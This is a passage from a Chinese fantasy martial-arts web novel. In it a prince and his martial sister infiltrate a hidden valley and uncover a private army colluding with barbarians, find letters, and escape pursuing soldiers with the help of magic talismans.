“不必了,这位是我的师妹孟姑娘,这位是孟师妹的妹妹,二人都是可信之人,暗六你大可直言。”江元郁抬了抬手道。
“请二位姑娘见谅,此事确实事关重大,恕刚刚暗六得罪了。”暗六朝着孟归芸二人拱手一礼,心下微微诧异,另一位竟然也是女子。
“无妨,确实应该小心为上。”孟归芸点头,示意暗六并无大碍。
“那我就继续说了。”
“三天前,我照例返回南疆城传递蛮族动向,在城外七十里的地方发现了那批可疑的蛮汉军之人。我跟了他们两天,夜里看到了他们举行祈求至高蛮神的仪式,在他们离开之后的清晨我去了他们扎营的地方探查,找到了举行仪式的祭品以及丢弃的奶酒瓶等物品,断定了他们的身份。”
“之后尾随他们的行踪,看到了他们出入南疆城的罗府、陈府几家当地大族,甚至罗、陈两家的家主亲自把他们送出了大门。属下不敢妄加揣测,于是潜入了罗家,在罗家家主的书房里,发现了罗家和蛮族犀合部联络的信件。”
“犀合部的人在信里要求罗家联合城内其他家族暗中打开南疆城门,事成后给予罗家蛮族贵族身份。为防罗家人察觉,属下未能把信件偷出来,就立即传信给了暗一/大哥。”
“你做的是对的,一个罗家真敢勾结蛮族,有的是办法治他们。但是为了他们惊动了蛮族,却是不值当。”江元郁点头,示意暗六继续往下说。
“传信之后,我又花了半日时间重新追踪那批蛮汉军的人。那批人行动极为隐蔽,一路上都在遮掩自己的痕迹,直到昨晚我才在城外一百二十里的小貉山山谷处找到他们。但那里防守极为严密,山谷处有四组人马不停的巡逻,就连进出都要按照军中的规矩对口令。”
“我在那里观察了三个时辰,三个时辰内往山谷里进去了两个车队,共四十辆车,而车里运送的,全是生铁矿石。”暗六语不惊人死不休。
“什么!”
“生铁矿石?!”
“四十辆车?”
在场的除了莲夏,都无比震惊,属实这个消息太让人惊讶了。孟归芸心中粗略的一算,四十辆车,每辆车两百斤生铁矿石,起码能炼出一千五百斤的十炼钢,基本上等同于三百多把军队的制式武器了。
江元郁则想得更加深远,大成国明面上对生铁矿石的管制是极为严格的,除了盐铁司有权直接开采、运送到朝廷工部直属的炼铁工坊加工之外,任何人不允许碰。即使现在的朝廷对盐铁的管制松动了许多,如此大量的生铁矿石外流,没有六部左侍郎以上的官员参与,那是绝对不可能做到的。
而据江元郁的了解,南疆城绝对不可能设有朝廷工部直属的炼铁工坊,那么这批铁矿很有可能就是走私,而且持续时间绝对不会太短,无论这批铁矿精炼之后流向何处,其能够产生的作用绝对不
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是自己能够想象的。
一想到这里,江元郁的冷汗直接冒了出来,敏锐的孟归芸也发现了江元郁的神情有异。
“师兄。”
“没事,暗六你继续说。”江元郁朝着孟归芸微笑了一下,示意她安心。
“两支车队进入山谷之后,应该是卸下货物就立马返回。我怕丢失了那批蛮汉军的踪迹,就没有去追查车队的行迹,可是那批蛮汉军的人自从入了山谷就再也没有出来。后来就收到大哥发来的消息,于是返回南疆城内前来汇合。”暗六很快说完了自己那边的情况。
“师妹可知我最近在追查何事?”江元郁没有对暗六发出下一步如何行动的指令,反而是转头问孟归芸。
“想来应该是和朝廷,甚至军队有关。”孟归芸略微思考后答道。
“为何有此猜测?”江元郁继续问道。
“师兄身为亲王,不在京城享受荣华富贵,反而在民间游历,甚至初遇师兄的时候都陷入了生命之危。之前虽未曾听过师兄与暗卫交谈了什么,但上次在石门县师兄能够轻易的调动卫所军士,诸事结合一起,就不难猜了。”孟归芸道。
“况且刚刚暗六所带来的信息更加让我有了把握,师兄如此谨慎之人,如果没有当今皇上的嘱托,必然是不会轻易去私自探查蛮族的动向的。”
竟是如此,江元郁恍然。
“不错,我正是奉皇兄的令,出京城调查私军之事。”江元郁顿了顿,似在思索怎么讲的更简洁,能让孟归芸能够更快的接受到更多的讯息。
“自从拜师之后,我便离开了京城,跟随师父学武,期间跟皇兄也只是通过暗卫以书信联系。直到七八个月前,皇兄来信告诉我,都察院的人发现首辅一/党好像在训练私军,可惜等到都察院大队人马赶到时,现场已经人去楼空,并未得到有力的线索和证据。”
“皇兄怀疑是都察院中有首辅一/党的奸细,于是将之前的线索尽数给到了我,密令我想法查清私军之事。暗一等人分析之后,锁定了贵州一带地区。那里崇山峻岭众多,九曲十八弯,人迹罕见,正是最适合的藏军练兵之所。我便带着暗一等人在周边探查,直到几个月前在西陵县发现了新的线索,当地出现了山匪,山上开始有猎户劝阻他人进山。”
“本来出现山匪是正常的事,山匪占山为王图的是什么?自然是求财。可这座山所处的位置偏僻,离官道又远,经商和过路之人大都不会选择这里,这就太奇怪了。我当时有事,并未上山探查,便留下了暗五在西陵县,让他一寸一寸的找。”
“所以,现在是暗五已经有所发现了么?”孟归芸问道,她知道江元郁不会在听闻蛮族大军即将进攻南疆城的时候,还说些无关的话。
“对。所以我昨日不仅是在考虑朝廷、南境百姓的事,更是在权衡南境之事和私军之事的轻重缓急,一时间有点不知该以哪边为重,为兄确实有点分身乏术。”江元郁道。
“师兄有没有想过一种可能,就是这所谓的私军和蛮族本身就有所关联呢?”
38. 南疆战事(三)
南疆城外一百二十里处的小貉山山脚处,骑马身穿黑衣的两人正在谈论着什么。
“师妹咱们还是先休息一下吧。这连夜赶了一百多里,你也应该累了。”这两人正是孟归芸江元郁二人,客栈听完暗六的汇报后,二人便商定了先到小貉山,想法进入山谷探查那批蛮汉军的消息。
“好。”孟归芸道。两人自亥时三刻离开南疆城,快马疾行,用了两个多时辰才抵达了小貉山,白天也一直未休息,即使以二人的身体素质也还是感到一点疲乏。
江元郁接过孟归芸所骑之马的缰绳,牵着两匹马,走了几十丈远将马系在树林中方才返回。
“师兄,刚刚来的路上,我梳理了一下之前觉得不对劲的地方。”感觉到江元郁靠近,闭眼小寐的孟归芸睁眼说道。
“哦?师妹你说。”江元郁问道。
“暗六汇报说,他在三个时辰就见到两队共四十辆马车进入山谷之中,这近万斤的生铁矿光是想绕开南疆城城卫军的检查都是很大的问题,而且如此庞大的数量调集运送也是极为艰难。那些人绝对不可能每日都有这么大的量。”孟归芸轻声说道。
“师妹的意思是,那些人是早就知道蛮汉军的人要到南疆城来,想通过这一批运送到的生铁矿跟那些蛮汉军的人展示实力?”江元郁跟着孟归芸的思路道。
“这是一种可能。还有一种可能,那就是这些人和蛮族密谋的事情,所需要的物资还不够,需要加急加紧。”孟归芸又说出来另外一种可能性,“我的直觉告诉我,很可能他们密谋的就是如何夺取南疆城,这一批生铁甚至之前运送来的铁矿,就是制成兵器铠甲,打造给城内那些内应夺城所用。”
确实不无这种可能,最近几十年大成国虽说皇帝的权力被分散了许多,但是对于军队以及军需物品的管控一直都很严格,各地卫所和大军所报废的武器铠甲都是集中销毁,很少有外流的,至少在明面上是如此。
这也是为何当时在石门县遇到的牛府那些护卫并不是人人都有刀剑的原因,整个牛府加起来也不过二三十柄大刀罢了。而南疆城内那些和蛮汉军想要里应外合夺城的大族富户,即使再有准备,可能需要的刀剑铠甲都得五百副以上,哪是能轻易拿得出来的。
“原来如此,那这么说,进入山谷之后,还得想办法找出他们运送物资的账本,这样才能判定他们手上有多少武器铠甲了。”江元郁点头。
“不错。除了探查确认那批蛮汉军的目的,咱们还得想办法找到账本。”
“好,那再休息片刻,我就进入山谷。”江元郁道,“就有劳师妹在外接应我了。”
“不,我跟师兄你一起进去。”孟归芸摇摇头。
“可是咱们来的路上不是说好了么,我武艺高强,进去探查情况,师妹你足智多谋,在外策应我。”江元郁有点急了,倒不是觉得孟归芸出尔反尔,而是他怕里面有危险,孟归芸毕竟只有开窍境。
“师兄别急,你看这个。”孟归芸一笑,从怀里掏出了一物,递给了江元郁。
“这是,敛息符箓!”江元郁微微睁大了双眼。
敛息符箓,道家修炼者到达养神境后方可制作的一种符箓,其作用是能够帮助使用者在一定时间内隐藏行踪,配合呼吸法甚至可以做到类似于“隐身”的效果。由于并不限制使用者的修为,因此在天地大变之前,很受修炼者喜爱,盛行一时。倒是天变之后,会炼制这种符箓的修炼者少了很多,以至于存世的量就更少了。
“正是,师父走的时候给我的,他说路上可能用得着。”
“那好吧,师妹你可以和我一起进去,我们相互之间也能有个照应。但师妹你得答应我,遇到危险你要及时使用此符。”江元郁将敛息符箓递了过去,同时心里有点酸酸的,师父对师妹是真好啊,不仅历练的时候一路护持,不在身边的时候还赐了符箓防身。
“这是给师兄你的啊,师父专门说过的。”孟归芸没接,反而开口说道。
“真是师父说给我的么?”江元郁的脸上明显有了笑意。
“当然,我何必糊弄师兄。”孟归芸也笑,同时再度探手入怀,拿出了一个巴掌的袋子,打开道,“你看,我的符箓都在这个袋子里呢。”
江元郁无奈,好好好,原来我已经不是师父最爱的宝了。
两人一番玩笑后,江元郁就打算行动,却又被孟归芸拉住了。
“山谷中如果真的是我们猜测的炼铁工坊,那么必然会有严密的守卫,但师父曾说过,人在卯时无论是清醒还是睡着,都会是警惕与防备最松懈的时候。我们不妨再等等,卯时一刻左右再行动。”孟归芸说道。
江元郁略一思考,觉得有道理。于是二人展动身法跃上一颗大树,寻了处枝叶浓密的地方,依着树干开始养神假寐。
一个时辰后,孟归芸江元郁二人似有感应般双眼同时睁开,对视之后,从大树上一跃而下。江元郁在前,孟归芸在其后十步的距离紧跟着,一路潜行到山谷处都未再发出多余的杂声。
师妹说的果然不错,人在卯时果然警惕最为松懈啊。轻易绕过谷口三名哨卫的江元郁如是想着,并且转身打了个手势示意孟归芸跟上。
“我刚刚看了地面的痕迹,车队运送的方向应该是这边。”孟归芸嘴唇微张,压低的声音仅江元郁能听见,同时指了指地上,只见地面的杂草有些微的被碾压过的痕迹,痕迹一直朝着谷内向右延伸。
江元郁颌首,手指也指向了右边。孟归芸知道他的意思,就是继续沿着右边探查。
结果两人向右潜行了小半柱香的时间,都把山谷走通了,竟然都没发现任何建筑和人,就连车队的痕迹也消失了。
“师兄,不对劲。”孟归芸再度靠近江元郁,有些凝重的道。
“嗯,我在想会不会是另有密道可以出入,山谷处
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只是一个幌子,用来掩人耳目的。”江元郁也觉得很奇怪。
“可如果真是另有密道,车队的人为何又要原路返回,而且谷口的哨卫也就没什么存在的必要了。”孟归芸提出了自己的疑惑。
“是啊,到底是怎么回事。”两人都有点摸不着头脑,苦苦思索着。
“会不会是在地下?”孟归芸灵光一闪,想起了之前寻宝时的经历,那朵在池塘的莲花给她留下了很大的印象。
“对啊,我怎么没有想到。”江元郁反应了过来,“师妹,我们快找找这山谷内是否有类似于机关的地方。”
“好。”孟归芸闻言点头,之后跟江元郁两人散开几步的距离,开始沿着山壁仔细勘察,重点则是草木浓密的地方。她的想法倒是很简单,如果真有机关的话,必然会考虑到隐蔽性,草木是天然的掩盖物。不过孟归芸也没有放弃留心其他可能有线索的地方。
半晌之后,孟归芸在一处山壁离地两人高的地方,发现了机关所在。那是一处有着大片藤蔓的地方,可是如今都近入秋,那处藤蔓又处在山阴背阳之地,居然却还有一根藤蔓绿油油的极富生机,大异于旁边的同种。
孟归芸就试着用力拉扯了一下,结果旁边两丈处就裂出了一道石门。听完孟归芸讲述的江元郁,不知该感叹自家师妹是运气好,还是观察入微。
“我说老何你们几个,为何这时候打开密道,这到换岗还差半个时辰呢。”孟归芸二人刚准备进入密道的时候,里面却突然传出一个流里流气的声音,紧跟着从里面走出一个扛着柄斧头的汉子。
“敌...”抗斧头的汉子刚走出密道,就看见了孟归芸二人,敌袭还没喊完,便被江元郁快速近身,一掌震碎了心脉。
“留给我们的时间怕是不多了。这些哨卫一般都是几个人一组,而且听刚刚那汉子的说法,他们应该快到换岗的时间了。无论是他们组的其他人还是谷口的三人,任何人发现此人不在,定然会上报,届时里面的管理人员必定会发动所有人清查。”江元郁击杀抗斧头汉子后,立马带着他的尸体掠向远处,藏匿了尸体后返回,对着守在石门处的孟归芸说道。
“所以咱们要么现在退走,改日再来探查。要么拼一把,趁乱行事。但是后者会有危险。”
“良机难得,些许危险又算什么。况且今日过后,里面的戒备必定会更加森严,说不定他们还会销毁证据、撤离此地。”孟归芸知道江元郁的担忧,他是怕自己会遇到危险。
“而且师兄忘了,我们还有敛息符箓。”说着,孟归芸拿出符箓,点燃符箓,只见符箓快速燃烧,一股白烟升腾而起,随即飘散向孟归芸所在之处。烟雾缭绕间,肉眼已经不可再见孟归芸的身形。
见状,江元郁已知道自家师妹的打算,她不忍心自己的辛苦付诸东流,以行动表示了对自己的支持。
“好,就让我们看看这山谷里到底藏着什么。”
39. 南疆战事(四)
时间紧迫,二人不再多说什么。江元郁那边也使用了敛息符箓后,便一同闪入了密道石门内。
“师兄,保险起见,我们就用双鱼玉佩联系。”孟归芸的声音在江元郁的脑海内响起。
“好,正该如此。”江元郁自然不会反对,接着道,“我们先抓紧时间探查此地的地形、格局,最后再去那些看起来重要的地方搜查。”
“听师兄的。”
“走,左边。”
两人步伐极快,丝毫不担心跟不上对方。二人得到双鱼玉佩已久,除了知道这玉佩可以实时传音之外,还摸索出来其他作用,近距离能互相定位,感应到对方的位置,有效的距离大概是三十丈左右。
两人运起身法快行了半刻钟的时间,转了一圈方把密道石门后的大概地形摸了个透。此地是个长约五里、宽约三里的一个大平地,平地上建有各类不同功用的建筑。
最为醒目硕大的就是距离密道石门右侧约百米的炼铁工坊,并排而立的两座五米高炉,即使在夜间都还在往外冒着浓浓黑烟,不知是一直如此昼夜加工,还是最近为了某种目的而赶工了。工坊大门处进出的人倒是不多,可能是早就将材料运进了工坊里。
挨着炼铁工坊而建的,是四座三层的小楼,每层大概有七八个房间,孟归芸二人猜测应该是给工人休息的屋舍。
小楼旁边则是长三里,宽一里的一座校场。校场上的所有布置据是按照大成国军队标准所设立,极为熟悉大成国军制的江元郁看了一眼,就知道此地起码可以容纳五千军士同时操练。
炼铁工坊和工人屋舍前方被一条宽约十米的河流隔开,设立的则是一座兵营。外围砌的是近丈高的土墙,之间还立有哨塔,四方合围之后,仅有大营正门处可以出入,而大营正门对应的则是密道石门。
守在大营门口的一队卫兵,让江元郁和孟归芸都差点惊出一身冷汗,还好进来之前就使用了敛息符箓,不然两人即使再怎么隐藏身形,都可能被大营门口的卫兵直接发现。
密道石门左侧,则是一处三层高的哨塔,但此时哨塔内并无人值守。
“可能之前那个抗斧头的人就是这哨塔的值守吧。”经过哨塔的时候,孟归芸心中默念,向江元郁传声。
“可能是吧,但哨塔应该不会只有一个人,不知道其他的人在哪里。”江元郁觉得有些不对劲,不过他不想说出来让师妹担心,大不了就是护着师妹退走,再找机会探查。
哨塔之后则是沿着河流一字排开建设的仓库样式的建筑,都锁着门,看守的也就五六个人。
仓库对面则是一片奢华的建筑群,占地约有此地的三分之一,都是些二进三进的院子,从外面的墙砖、大门看过去,竟不比石门县牛永志的宅子逊色,就是不知内里到底如何。
“师兄,咱们已经探查过地形了,这里虽然看着简单,但相互之间却又彼此连接,互相守望相助。不提那些明面上的守卫和隐藏在各地的暗哨,光是那座兵营里的人马,一旦出动就可以镇压此地的一切问题了。”
“是啊,经过兵营的时候我短暂飞起看了下里面的营帐,此地起码有一个卫所的兵力,别说镇压此地,就是去攻打一两个小城都没问题。”江元郁的声音有点苦涩。
大成国一个满额完整编制的卫所,人数是五千五百人。一般的小城城卫军也就一千人,即使是强攻,满额的卫所确实能轻易的打下一个小城。
“而且我也看过,此地的军队并不隶属于任何已知的番号,但是兵营、校场等一应设置全是照搬大成国军制。”江元郁接着传音。
“那这就意味着负责此地之人对大成国军队操练、统筹极为熟悉,想来符合这个标准的人,应该不多吧?”孟归芸道。
“没错,有能耐掌管卫所的起码都是卫指挥同知,那是从三品的大员。而能够从无到有建立一个卫所级别大营的,在我大成国会更少。只要细查有哪些大员长时间离开驻地的,大概就能锁定范围。”随着二人的探讨,思路也逐渐清晰。
“师妹,我打算进大营一探,如果能在大营里找到联络的信件什么的,就能最快的查出来到底是谁组建了这个大营。”江元郁道。
“师兄身手了得,进入大营寻找证据定然轻而易举。”孟归芸先是肯定了江元郁,又接着道,“但先不论是否能在大营找到联络的信件,即使找到了信件,在之后被大营的掌管者发觉,岂不是打草惊蛇?”
“更何况我们最初的目的是想看看这支私军之事是否为真,再者是探查这支私军是否和蛮族蛮汉军二者有关联。现下私军之事已基本落定,只需要锁定组建者就能把他们一网打尽。何不把剩下的时间用来看看蛮汉军那边还有什么信息?”孟归芸提出了自己的想法。
“好。”江元郁思索了几个呼吸,决定听孟归芸的,“那师妹的意思是?”
“去那边的那些院子里看看,我有九成的把握,如果那些蛮汉军的人还没离开此地的话,定然是住在那里。”
“那我在前方,师妹为我策应。”江元郁说完就径直朝着院落那边行去。他已经和孟归芸之间有了默契,自家这师妹很有主见,如果自己征询她的意见,她会和盘托出。但只要自己下了决定,她就会尊重自己的想法。
一如之前,江元郁在前,孟归芸落后她两三步的样子,两人很快便到了院落群附近。
不知是确实像孟归芸所说的那样,卯时这段时间真是人防备最轻的时候,还是这边院落的人都觉得离兵营很近而松懈了,两人一路都竟没有遇到巡逻的人,甚至连各个院子门口都无人把守。
“我准备进去了,师妹你小心,遇事不对你定要立刻退走,我来为你断后。”在最大的那个院子大门处,江元郁脚步顿了顿,传音给孟归芸。
“放心吧师兄,我知了。”孟归芸如是回
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应。
进了院子一路行至大厅,才知道为何这边的防御如此松懈。
大厅中到处都是喝空了的酒坛子,一眼瞅过去起码有五六十个。地上横七竖八的躺着一堆烂醉如泥的人,大概三十余人,其中就有出发前暗六特意画出的蛮汉军两名头领。
果然长相和穿着,都与大成国的汉人基本无异,但是在脖子处都延伸/出了蛮族的图纹纹身的痕迹。
那些人有些是趴在地上,江元郁能轻易的掀开衣领出查看有无纹身。有些是仰面躺着的,或是瘫坐在椅子上的,江元郁只得使用巧劲,将他们翻转过来,才能看得到脖子处。
“侯百长,你,你,你放心喝,答应你们的五千件铠甲,绝对没有问题。包,包在我身上。”江元郁翻过一名仰躺在地上的精悍男子时,精悍男子嘴里嘀咕着。
百长,是蛮族大军中掌管百名士兵的小头目称呼。而蛮族之中并无侯姓,两者相结合,大致能断定这所谓的“侯百长”正是蛮族蛮汉军的人了,而且职位并不低。
此地的私军和蛮族勾结的事,也基本能够确认了。
“这三十七人之中,有九人都有蛮汉军的印记。”江元郁传音告诉孟归芸。
“我记得之前暗六说,蛮族军队是以十人为小队的,我很好奇剩下那个人去了哪里。”孟归芸疑惑的道。
“我也很好奇,但现在时间不够,我们须得分开搜一下这些屋子。能在此地宴请这些蛮汉军的人,说明院子里住的人,在此地的身份不会太低。”
“嗯。”孟归芸和江元郁在大厅外分开,一左一右的进入两边房内,开始了快速的搜查。
孟归芸这边前面的几间屋子比较空旷,没有太多能够藏东西都地方,她就粗略的查看了一番,直到进入第四间屋内时,真让她发现了东西。
第四间屋子前面是一个小厅,摆放着一张八仙桌,应该是做接待所用。后面则是屏风隔开的书桌所在,书桌竟是以金丝楠木打造而成,书桌上摆放着文房四宝。孟归芸一看,这文房四宝的品质还真是不低,所用的镇纸是紫檀木所制成,压着的纸张则是宫里赏赐的贡纸。
我爹好像都没用过贡纸呢。孟归芸不知怎地就冒出来这么个想法,之后脑子里竟然冒出来小时候孟鸿远在家里的书房内教她读书时的记忆,娘亲就在一旁含笑看着。
虽然脑子想着事情,但孟归芸手下并没有停,不停的拿起书架上的书籍快速翻阅着。在书架倒数第二层的地方,孟归芸发现了一处圆盘形的小机关。
“这些人怎么都这么喜欢做机关?”孟归芸不解,“不过,有机关就意味着有秘密。正好,就让我来看看是不是有用的证据吧。”
心里想着,右手也慢慢的旋着圆盘,只听“卡兹”一声,机关的刻度应该是对齐触发了,书架的第二层板子上缓缓升了起来,露/出了下面的夹层。
里面摆着一叠信件。
40. 南疆战事(五)
“师妹,我这边已经搜完了,没什么有用的消息。你小心些,我再去里面几座院子里看看。”正读着信件的孟归芸收到了江元郁的传讯,他的声音显得有点急促。
“现在时间已经不多了,你那边搜完就直接去密道石门处等我,我需要师妹你在附近接应我。”
“好,师兄安心,我这边倒是找到了一些东西,应该比较有用,等你回来看过就知道了。”孟归芸没有多说其他的,只是简单说了句自己有发现。
孟归芸估摸了下时间,发现敛息符箓剩下的时间也不多了,而且密道石门那边也随时都有被发现的可能,于是将发现的信件藏好在身上,快步走了出去。
但几息之后又退了回来,仔细的看了书桌上各处物品摆放的位置,才拿起毛笔,顺手从书架上拿过几个信封,刷刷刷的在各个信封上写了起来。
不到十息便写完了,又从桌下拿出几张宣纸,没在纸上写什么,直接折叠成信件的模样装进了信封里。
“还好,这信封并非特制的,没有什么特殊标识,想来这些人也是为了隐秘一些吧,倒是降低了我作假的难度。”孟归芸心里松了口气,右手再度扣住书架那里的机关,等机关打开之后,把假信件塞了进去。
机关复位,孟归芸方才开始将书桌上的毛笔镇纸等物归位,竟是将其都恢复成了她进来之前的模样。
做完这些之后的孟归芸默默感应了一下双鱼玉佩,已经感应不到江元郁道位置了,想来师兄已经进了深处那几座院子,她不再耽搁,快步跨出书房,径直朝着密道石门处行去。
答应了师兄要接应他,自己就肯定要做到。
孟归芸抵达密道石门处的时候,才稍微松了口气,还好敛息符箓的时效没有用完,这一路也就只在炼铁工坊附近遇到一个五人队巡查,借着敛息符箓躲了过去,其他再无惊险。
为自己找了个藏身之处后,孟归芸没有任何犹豫的再度点燃一张敛息符箓,白烟升腾,笼罩在身上后,孟归芸的戒备才少了些,有了功夫打量周身的环境。
她必须考虑一件事,就是万一此地的院落群或兵营那边有人发现不对,她该怎样才能接应自家师兄,何种路线才能更快的撤离。
随着孟归芸的目光四处打量,再结合进入密道石门前已经记住的地形,孟归芸心中的撤离路线已经渐渐成形,甚至哪些地方可以做一些误导敌人的线索,她也都思考好了。
思索线路的同时,孟归芸也会时不时的去感应双鱼玉佩的位置,不过一直感应不到罢了。她倒不是太担心自家师兄的身手,只是探查敌营这种事,能不动手那自然是最好的。
现在只需要等着师兄平安返回了。
这边已经深/入到最内里那座院子的江元郁仍然没有太多的发现,前面几座院子虽然奢华,但是住的人都不多。大多数院子只有两三个房间有住人的痕迹,其他都是空着的。
不知道师妹现在到密道石门处了没。江元郁在进入院内正厅时,抬头看了眼天色,只见远处的天际已经隐约有了一丝亮白,心里有些担忧孟归芸。
这么久的相处,知道自家这师妹聪明伶俐,但在自己看来师妹还是习武太短,即使天赋异禀进境神速,对敌的经验毕竟太少。再加上两人现在的举动可不似杀山贼那么简单,一旦事情暴露很有可能面对的就是兵营那一个卫所的兵力啊。
不行,最后的时间了,此处正厅和主卧如果再没有什么发现,我也得退去和师妹汇合了,既是探查敌营,又岂能反将师妹和自己折进去了。
江元郁心中做了决定,脚下的步子也变得更快了一些。
不出所料,正厅还是极为空旷并无一人,江元郁带着些许失望朝着主卧内走去。在他的感应中,主卧是有两道极为轻微且规律的呼吸,应是睡着了。
进入主卧之后,江元郁便被桌上的一物吸引,那物有孩童拳头大小,整体为赤红色,但在表皮却有一些金芒点缀,在夜里尤为耀眼,江元郁一眼便认出来那是天地间难得的天材地宝。
“星辰朱果!”
星辰朱果乃是由朱果变异而来。朱果本就是难得的灵物,一甲子年方才开花,一甲子年方才结果。成熟后如被武者食用,最高可让武者体内增长一个甲子的元气,而且那些元气精纯无比,不会造成任何的不/良后果,能极大的增强实力。
而星辰朱果则更为难得,需要朱果生长之地灵气充沛,喜阳,每年需要至少三百天的日光照射,才能让灵气转换为果实的能量,如此一甲子开花后,方才能结出三到五个星辰朱果。武者食用后,起码可以让体内增长百年的元气,功效远远强于普通朱果。
正好师妹用得上!这是江元郁认出星辰朱果后脑子冒出的第一个念头。而他的速度比念头还快,念头刚刚冒出,人都已经到了星辰朱果前,却未曾想疾行所带起的风太大,将桌旁边一面轻柔的屏风刮倒在了地上。
哐当!
“什么人!”这一声响动,惊起了睡在床上的两人。睡在外侧的浓眉男子醒来的第一件事,便是抽出了床边悬着的宝剑,朝着江元郁所在的方向刺来。
“有刺客!有刺客!”睡在内/侧的女子拽过一件衣服,还没披在自己身上就已经跳下床,之后绕过持剑男子向外跑边喊。
好在江元郁身手确实了得,剑尖及身的那一刻,左手一拂,地上的凳子便飞了起来,正正好撞在剑尖,抵消了这快若惊雷的一剑。
可惜的是,不知是敛息符箓的时效已经用完,还是两人交手引起的气浪太大,江元郁身上敛息符箓形成的透明烟雾逐渐散去,现出了身穿黑衣遮掩面孔的江元郁。
有点功亏一篑啊,好在这星辰朱果到手了,也不算太亏。江元郁心中微叹,身形向正厅飞掠的时候,不忘
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将星辰朱果放入怀中。
浓眉男子此时躲过了气浪,已经看清自己放在桌上的星辰朱果不见了,来不及痛惜自己为何不把这宝物放好,非要摆在桌上,身子就径直朝着江元郁追去。
一切说起来可能缓慢,但卧室内的三人行动都极为迅速,就连那名女子的身法都不慢,加之这最内里的院子并不小,等到江元郁闪出正厅时,已经能听到外面有人朝着这边赶来的声音,而且听那动静人数还不少。
此处距离密道石门得有三四里的距离,我得想办法引开这些人,才能去跟师妹汇合。江元郁看着各处已经升腾起的亮光,并未直接飞起,而是带着这些人开始兜圈子,意图甩开他们。
院落区外面赶地比较快的护卫,已经快到了第一座宅院附近。负责的小头目虽乱不慌,分出四五个人前往了宴请蛮汉军的地方后,又安排人把守了通往密道石门外的唯一一条木桥。
在做这些的时候,陆续有人马赶到木桥处集合,小头目便将他们分为十人一队,四散开来去巡查刺客的踪迹。
等到江元郁抵达木桥口的时候,桥口处已经有了二三十人把守,身后浓眉汉子带着几个人紧紧的追着,仅有三十多丈的距离。
“看来只能杀出去了。”绕了一两圈并没有甩掉几个追兵的江元郁有点无可奈何,这些人的速度都不慢,而且对此地的地形比他还熟悉。自己一番兜圈子,不仅没能甩掉几个追兵,反而还让他们越聚越多了。
这要是让师妹瞧见了,她指不定会怎么笑话自己呢。
也不对,师妹可能不会笑话自己的吧。
大概,也许不会笑话自己的吧。
并未将追兵放在眼里的江元郁在思考这些问题,连身形都慢了些。后面的浓眉汉子一见,以为江元郁是在害怕,竟然爆发了速度,越过了几人朝着江元郁冲去。
“等的就是你呢!”谁知在浓眉汉子眼中好似畏惧不敢向前的江元郁,居然反向也朝着自己冲了过来,两人之间的距离在须臾间便缩短到三五丈。
“大人,小心!”浓眉汉子身后的人提醒还未完全喊出口,便见到了极为可怕的一幕。他们眼中被一路追逐的黑衣人,跟会瞬移一般,一个呼吸不到的时间内,便完成了贴近、出招、击飞的三个动作。
其身形速度之快,身手之干净利落,让几名追兵浑身一个激灵。
“跑!!!”这些人都是自持武艺不俗,又经历过多少次战阵厮杀的铁血老兵,平日里吹嘘的都是自己当年如何如何砍掉他人的人头的。但猛地看到自家大人闪电般追出,又以更快的速度被击飞,胸腔明显向后凸出一/大块的同时口中还喷洒着鲜血的这种场景,嘴里不约而同的发出已经变形的惊呼。
“来不及了。”江元郁面巾下的嘴角微微扯起一个弧度,好好的一个大成国亲王,当今皇帝亲弟,居然在这一刻显得像个反派。
41. 南疆战事(六)
“师妹,快跑!大营那边的步兵也开始集结了。”
密道石门处的孟归芸已经将之前自己所做的准备反复琢磨了三遍,甚至无聊的想练一套剑活动活动筋骨法时,脑海中响起了江元郁的声音,她连忙调转目光,朝着路口望去。
只见一身黑衣遮掩面孔的江元郁在前,脚步飞快,不时的左右偏移闪避后方的箭矢。江元郁身后二三十丈的距离,一队十余骑士兵紧紧咬着,全身穿着轻便的皮甲,胯/下骑着健马,即使速度极快队形都不见乱象,在领头者的指挥下,前方五人同时朝着江元郁射出手中的箭矢,之后迅速的趴低身子,把视线让给后面的骑兵再射一波。
而远处还隐约有大量整齐划一的脚步声响起,听起来好像大营那边的步兵已经列好了阵型,正在身后一同追赶,就是不知数量得有多少了。
好在孟归芸知道此时不是惊讶的时候,如何帮助师兄狙击或者甩掉身后的追兵才是正事。
“师兄,你先带这些骑兵出密道石门,往右边跑,那边我已经做好了布置,应该可以帮助师兄你解决这些人。”孟归芸传音倒是一如既往的平静,丝毫听不出她被震惊的样子。
“师妹不跟我一起跑么。”江元郁问道。
“大营里的步兵虽然无马,但是数量极多,不解决他们的话,我们也难以逃出此地。”孟归芸道,“师兄放心,我的敛息符箓现在还有效,而且还有师父给我的其他符箓,他们轻易奈何不得我。”
“那师妹你小心,我去外面解决了这些骑兵就立马回来接应你。”
两人对话间,江元郁已经冲出了密道石门,追击的骑兵因为人数较多,不得已只能减慢速度,调整阵型为三人一排,方才冲出了石门。
而那些骑兵的注意力全在江元郁身上,加之孟归芸有敛息符箓,竟无一人发现密道石门旁还躲着一个人。
等到最后一组骑兵也冲出密道石门后,孟归芸不急不躁的从侧边走出,反而又朝着院落那边行去,走到距离木桥五丈左右的地方,方才停下脚步。
她随意朝着木桥那边一撇,发现桥头附近的地面上躺着一堆尸体,有些人好像还活着,孟归芸估摸着应该是刚刚江元郁撤离途中所击杀的。不过她的心里对这些人的死活并不是很在意,彼此本就是敌人,哪里有什么怜悯可言。
孟归芸从怀里掏出了之前装符箓的袋子,四下走动似在做最后的地形确认之后,从袋子里掏出了大概十来张符箓,将之分散的丢在地上,便停手开始等待。
约莫过了小半柱香的时间,孟归芸已经能看见木桥那端追击的步兵大部队了。密密麻麻不知道具体数量,一眼望去所有士兵都是全副武装,戈矛弓弩齐备。
追击的指挥也是个谨慎点性子,竟然没有让步兵大部队直接通过木桥极速追击,反而让部队陆续在桥前以百人方阵的规格重新列阵,一个一个方阵通过木桥。
见状,孟归芸心里叫了句可惜,手里开始掐动印诀,驱使之前丢下的符箓。只见木桥前凭空吹起来一阵大风,风力之强劲,吹得那些刚刚通过木桥的步兵东倒西歪,甚至有倒霉点的都被刮下了木桥。
这还不算完,刚吹起的风是无色的,但随着孟归芸的印诀变动,风中不知哪里添加了些绿意。风过之处,那些步兵们竟然开始咳嗽,随之而来的就是涕泗横流,手脚像突然无力般松软瘫倒在地。
木桥对面负责追击的指挥的着甲小将懵了,这一切发生的太快,他看不见对面敛息符箓笼罩下的孟归芸,也没见过修炼者的符箓发挥效果。这一刻他甚至在想,是不是上天在警示他,不该追击那个蒙面的黑衣刺客,不然怎么会凭空出现带着绿色的风。
